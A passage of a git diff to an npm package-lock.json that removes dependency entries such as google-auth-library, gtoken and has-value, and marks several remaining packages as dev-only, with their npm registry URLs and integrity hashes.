"1.0.1", +- "ecdsa-sig-formatter": "1.0.11", +- "safe-buffer": "^5.0.1" +- } +- }, +- "jws": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz", +- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==", +- "requires": { +- "jwa": "^1.4.1", +- "safe-buffer": "^5.0.1" +- } +- }, +- "node-forge": { +- "version": "0.10.0", +- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", +- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==" +- }, +- "pify": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", +- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==" +- }, +- "semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" +- } +- } +- }, +- "googleapis-common": { +- "version": "0.7.2", +- "resolved": "https://registry.npmjs.org/googleapis-common/-/googleapis-common-0.7.2.tgz", +- "integrity": "sha512-9DEJIiO4nS7nw0VE1YVkEfXEj8x8MxsuB+yZIpOBULFSN9OIKcUU8UuKgSZFU4lJmRioMfngktrbkMwWJcUhQg==", +- "requires": { +- "gaxios": "^1.2.2", +- "google-auth-library": "^3.0.0", +- "pify": "^4.0.0", +- "qs": "^6.5.2", +- "url-template": "^2.0.8", +- "uuid": "^3.2.1" +- }, +- "dependencies": { +- "agent-base": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz", +- "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==", +- "requires": { +- "es6-promisify": "^5.0.0" +- } +- }, +- "debug": { +- "version": "3.2.7", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", +- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", +- "requires": { +- "ms": "^2.1.1" +- } +- }, +- "gaxios": { +- "version": "1.8.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-1.8.4.tgz", +- "integrity": "sha512-BoENMnu1Gav18HcpV9IleMPZ9exM+AvUjrAOV4Mzs/vfz2Lu/ABv451iEXByKiMPn2M140uul1txXCg83sAENw==", +- "requires": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^2.2.1", +- "node-fetch": "^2.3.0" +- } +- }, +- "gcp-metadata": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-1.0.0.tgz", +- "integrity": "sha512-Q6HrgfrCQeEircnNP3rCcEgiDv7eF9+1B+1MMgpE190+/+0mjQR8PxeOaRgxZWmdDAF9EIryHB9g1moPiw1SbQ==", +- "requires": { +- "gaxios": "^1.0.2", +- "json-bigint": "^0.3.0" +- } +- }, +- "google-auth-library": { +- "version": "3.1.2", +- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-3.1.2.tgz", +- "integrity": "sha512-cDQMzTotwyWMrg5jRO7q0A4TL/3GWBgO7I7q5xGKNiiFf9SmGY/OJ1YsLMgI2MVHHsEGyrqYnbnmV1AE+Z6DnQ==", +- "requires": { +- "base64-js": "^1.3.0", +- "fast-text-encoding": "^1.0.0", +- "gaxios": "^1.2.1", +- "gcp-metadata": "^1.0.0", +- "gtoken": "^2.3.2", +- "https-proxy-agent": "^2.2.1", +- "jws": "^3.1.5", +- "lru-cache": "^5.0.0", +- "semver": "^5.5.0" +- } +- }, +- "google-p12-pem": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-1.0.5.tgz", +- "integrity": "sha512-50rTrqYPTPPwlu9TNl/HkJbBENEpbRzTOVLFJ4YWM86njZgXHFy+FP+tLRSd9m132Li9Dqi27Z3KIWDEv5y+EA==", +- "requires": { +- "node-forge": "^0.10.0", +- "pify": "^4.0.0" +- } +- }, +- "gtoken": { +- "version": "2.3.3", +- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-2.3.3.tgz", +- "integrity": "sha512-EaB49bu/TCoNeQjhCYKI/CurooBKkGxIqFHsWABW0b25fobBYVTMe84A8EBVVZhl8emiUdNypil9huMOTmyAnw==", +- "requires": { +- "gaxios": "^1.0.4", +- "google-p12-pem": "^1.0.0", +- "jws": "^3.1.5", +- "mime": "^2.2.0", +- "pify": "^4.0.0" +- } +- }, +- "https-proxy-agent": { +- "version": "2.2.4", +- "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.4.tgz", +- "integrity": "sha512-OmvfoQ53WLjtA9HeYP9RNrWMJzzAz1JGaSFr1nijg0PVR1JaD/xbJq1mdEIIlxGpXp9eSe/O2LgU9DJmTPd0Eg==", +- "requires": { +- "agent-base": "^4.3.0", +- "debug": "^3.1.0" +- } +- }, +- "json-bigint": { +- "version": "0.3.1", +- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz", +- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==", +- "requires": { +- "bignumber.js": "^9.0.0" +- } +- }, +- "jwa": { +- "version": "1.4.1", +- "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz", +- "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==", +- "requires": { +- "buffer-equal-constant-time": "1.0.1", +- "ecdsa-sig-formatter": "1.0.11", +- "safe-buffer": "^5.0.1" +- } +- }, +- "jws": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz", +- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==", +- "requires": { +- "jwa": "^1.4.1", +- "safe-buffer": "^5.0.1" +- } +- }, +- "node-forge": { +- "version": "0.10.0", +- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", +- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==" +- }, +- "pify": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", +- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==" +- }, +- "semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" +- } +- } +- }, +- "got": { +- "version": "9.6.0", +- "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz", +- "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==", +- "requires": { +- "@sindresorhus/is": "^0.14.0", +- "@szmarczak/http-timer": "^1.1.2", +- "cacheable-request": "^6.0.0", +- "decompress-response": "^3.3.0", +- "duplexer3": "^0.1.4", +- "get-stream": "^4.1.0", +- "lowercase-keys": "^1.0.1", +- "mimic-response": "^1.0.1", +- "p-cancelable": "^1.0.0", +- "to-readable-stream": "^1.0.0", +- "url-parse-lax": "^3.0.0" +- } +- }, + "graceful-fs": { + "version": "4.2.9", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.9.tgz", + "integrity": "sha512-NtNxqUcXgpW2iMrfqSfR73Glt39K+BLwWsPs94yR63v45T0Wbej7eRmL5cWfwEgqXnmjQp3zaJTshdRW/qC2ZQ==" + }, +- "graphlib": { +- "version": "2.1.8", +- "resolved": "https://registry.npmjs.org/graphlib/-/graphlib-2.1.8.tgz", +- "integrity": "sha512-jcLLfkpoVGmH7/InMC/1hIvOPSUh38oJtGhvrOFGzioE1DZ+0YW16RgmOJhHiuWTvGiJQ9Z1Ik43JvkRPRvE+A==", +- "requires": { +- "lodash": "^4.17.15" +- } +- }, + "gray-matter": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-2.1.1.tgz", +@@ -53565,53 +43571,6 @@ + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=" + }, +- "has-value": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", +- "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", +- "requires": { +- "get-value": "^2.0.6", +- "has-values": "^1.0.0", +- "isobject": "^3.0.0" +- } +- }, +- "has-values": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", +- "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", +- "requires": { +- "is-number": "^3.0.0", +- "kind-of": "^4.0.0" +- }, +- "dependencies": { +- "is-number": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", +- "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "kind-of": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", +- "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, + "hash-stream-validation": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/hash-stream-validation/-/hash-stream-validation-0.2.4.tgz", +@@ -53704,11 +43663,6 @@ + "resolved": "https://registry.npmjs.org/hide-powered-by/-/hide-powered-by-1.1.0.tgz", + "integrity": "sha512-Io1zA2yOA1YJslkr+AJlWSf2yWFkKjvkcL9Ni1XSUqnGLr/qRQe2UI3Cn/J9MsJht7yEVCe0SscY1HgVMujbgg==" + }, +- "hoek": { +- "version": "5.0.4", +- "resolved": "https://registry.npmjs.org/hoek/-/hoek-5.0.4.tgz", +- "integrity": "sha512-Alr4ZQgoMlnere5FZJsIyfIjORBqZll5POhDsF4q64dPuJR6rNxXdDxtHSQq8OXRurhmx+PWYEE8bXRROY8h0w==" +- }, + "hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", +@@ -53724,14 +43678,6 @@ + } + } + }, +- "homedir-polyfill": { +- "version": "1.0.3", +- "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz", +- "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==", +- "requires": { +- "parse-passwd": "^1.0.0" +- } +- }, + "hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", +@@ -53878,11 +43824,6 @@ + "entities": "^2.0.0" + } + }, +- "http-cache-semantics": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", +- "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" +- }, + "http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", +@@ -53925,16 +43866,6 @@ + "requires-port": "^1.0.0" + } + }, +- "http-proxy-agent": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", +- "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", +- "requires": { +- "@tootallnate/once": "1", +- "agent-base": "6", +- "debug": "4" +- } +- }, + "http-proxy-middleware": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.4.tgz", +@@ -53973,11 +43904,6 @@ + } + } + }, +- "http-status": { +- "version": "1.5.0", +- "resolved": "https://registry.npmjs.org/http-status/-/http-status-1.5.0.tgz", +- "integrity": "sha512-wcGvY31MpFNHIkUcXHHnvrE4IKYlpvitJw5P/1u892gMBAM46muQ+RH7UN1d+Ntnfx5apnOnVY6vcLmrWHOLwg==" +- }, + "https-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.0.tgz", +@@ -54164,11 +44090,6 @@ + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==" + }, +- "inflection": { +- "version": "1.12.0", +- "resolved": "https://registry.npmjs.org/inflection/-/inflection-1.12.0.tgz", +- "integrity": "sha1-ogCTVlbW9fa8TcdQLhrstwMihBY=" +- }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", +@@ -54183,16 +44104,6 @@ + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, +- "ini": { +- "version": "1.3.8", +- "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", +- "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" +- }, +- "install": { +- "version": "0.13.0", +- "resolved": "https://registry.npmjs.org/install/-/install-0.13.0.tgz", +- "integrity": "sha512-zDml/jzr2PKU9I8J/xyZBQn8rPCAY//UOYNmR01XwNwyfhEWObo2SWfSl1+0tm1u6PhxLwDnfsT/6jB7OUxqFA==" +- }, + "internal-slot": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz", +@@ -54206,7 +44117,8 @@ + "interpret": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz", +- "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==" ++ "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==", ++ "dev": true + }, + "invariant": { + "version": "2.2.4", +@@ -54247,39 +44159,6 @@ + "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", + "devOptional": true + }, +- "ip-regex": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz", +- "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=", +- "dev": true +- }, +- "ip6addr": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/ip6addr/-/ip6addr-0.2.5.tgz", +- "integrity": "sha512-9RGGSB6Zc9Ox5DpDGFnJdIeF0AsqXzdH+FspCfPPaU/L/4tI6P+5lIoFUFm9JXs9IrJv1boqAaNCQmoDADTSKQ==", +- "requires": { +- "assert-plus": "^1.0.0", +- "jsprim": "^2.0.2" +- }, +- "dependencies": { +- "assert-plus": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", +- "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==" +- }, +- "jsprim": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-2.0.2.tgz", +- "integrity": "sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==", +- "requires": { +- "assert-plus": "1.0.0", +- "extsprintf": "1.3.0", +- "json-schema": "0.4.0", +- "verror": "1.10.0" +- } +- } +- } +- }, + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", +@@ -54294,6 +44173,7 @@ + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-absolute/-/is-absolute-1.0.0.tgz", + "integrity": "sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==", ++ "dev": true, + "requires": { + "is-relative": "^1.0.0", + "is-windows": "^1.0.1" +@@ -54304,14 +44184,6 @@ + "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-3.0.3.tgz", + "integrity": "sha512-opmNIX7uFnS96NtPmhWQgQx6/NYFgsUXYMllcfzwWKUMwfo8kku1TvE6hkNcH+Q1ts5cMVrsY7j0bxXQDciu9Q==" + }, +- "is-accessor-descriptor": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", +- "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", +- "requires": { +- "kind-of": "^6.0.0" +- } +- }, + "is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", +@@ -54345,11 +44217,6 @@ + "binary-extensions": "^2.0.0" + } + }, +- "is-bluebird": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/is-bluebird/-/is-bluebird-1.0.2.tgz", +- "integrity": "sha1-CWQ5Bg9KpBGr7hkUOoTWpVNG1uI=" +- }, + "is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", +@@ -54385,14 +44252,6 @@ + "has": "^1.0.3" + } + }, +- "is-data-descriptor": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", +- "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", +- "requires": { +- "kind-of": "^6.0.0" +- } +- }, + "is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", +@@ -54401,16 +44260,6 @@ + "has-tostringtag": "^1.0.0" + } + }, +- "is-descriptor": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", +- "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", +- "requires": { +- "is-accessor-descriptor": "^1.0.0", +- "is-data-descriptor": "^1.0.0", +- "kind-of": "^6.0.2" +- } +- }, + "is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", +@@ -54428,12 +44277,14 @@ + "is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", +- "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=" ++ "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", ++ "dev": true + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", +- "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=" ++ "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", ++ "devOptional": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", +@@ -54449,6 +44300,7 @@ + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", ++ "devOptional": true, + "requires": { + "is-extglob": "^2.1.1" + } +@@ -54463,15 +44315,6 @@ + "is-path-inside": "^3.0.2" + } + }, +- "is-ip": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/is-ip/-/is-ip-2.0.0.tgz", +- "integrity": "sha1-aO6gfooKCpTC0IDdZ0xzGrKkYas=", +- "dev": true, +- "requires": { +- "ip-regex": "^2.0.0" +- } +- }, + "is-nan": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz", +@@ -54490,3085 +44333,1731 @@ + "is-negative-zero": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz", +- "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==" +- }, +- "is-number": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz", +- "integrity": "sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=", +- "dev": true, +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dev": true, +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "is-number-object": { +- "version": "1.0.6", +- "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.6.tgz", +- "integrity": "sha512-bEVOqiRcvo3zO1+G2lVMy+gkkEm9Yh7cDMRusKKu5ZJKPUYSJwICTKZrNKHA2EbSP0Tu0+6B/emsYNHZyn6K8g==", +- "requires": { +- "has-tostringtag": "^1.0.0" +- } +- }, +- "is-obj": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", +- "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==" +- }, +- "is-path-cwd": { +- "version": "2.2.0", +- "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz", +- "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==", +- "devOptional": true +- }, +- "is-path-inside": { +- "version": "3.0.3", +- "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", +- "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", +- "devOptional": true +- }, +- "is-plain-object": { +- "version": "2.0.4", +- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", +- "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", +- "requires": { +- "isobject": "^3.0.1" +- } +- }, +- "is-potential-custom-element-name": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", +- "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", +- "dev": true +- }, +- "is-promise": { +- "version": "2.2.2", +- "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz", +- "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==" +- }, +- "is-regex": { +- "version": "1.1.4", +- "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", +- "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", +- "requires": { +- "call-bind": "^1.0.2", +- "has-tostringtag": "^1.0.0" +- } +- }, +- "is-relative": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz", +- "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==", +- "requires": { +- "is-unc-path": "^1.0.0" +- } +- }, +- "is-shallow-equal": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-shallow-equal/-/is-shallow-equal-1.0.1.tgz", +- "integrity": "sha512-lq5RvK+85Hs5J3p4oA4256M1FEffzmI533ikeDHvJd42nouRRx5wBzt36JuviiGe5dIPyHON/d0/Up+PBo6XkQ==" +- }, +- "is-shared-array-buffer": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.1.tgz", +- "integrity": "sha512-IU0NmyknYZN0rChcKhRO1X8LYz5Isj/Fsqh8NJOSf+N/hCOTwy29F32Ik7a+QszE63IdvmwdTPDd6cZ5pg4cwA==" +- }, +- "is-stream": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", +- "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==" +- }, +- "is-stream-ended": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-stream-ended/-/is-stream-ended-0.1.4.tgz", +- "integrity": "sha512-xj0XPvmr7bQFTvirqnFr50o0hQIh6ZItDqloxt5aJrR4NQsYeSsyFQERYGCAzfindAcnKjINnwEEgLx4IqVzQw==" +- }, +- "is-string": { +- "version": "1.0.7", +- "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", +- "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", +- "requires": { +- "has-tostringtag": "^1.0.0" +- } +- }, +- "is-subset": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/is-subset/-/is-subset-0.1.1.tgz", +- "integrity": "sha1-ilkRfZMt4d4A8kX83TnOQ/HpOaY=", +- "dev": true +- }, +- "is-symbol": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", +- "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", +- "requires": { +- "has-symbols": "^1.0.2" +- } +- }, +- "is-typedarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", +- "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" +- }, +- "is-unc-path": { +- "version": "1.0.0", +- 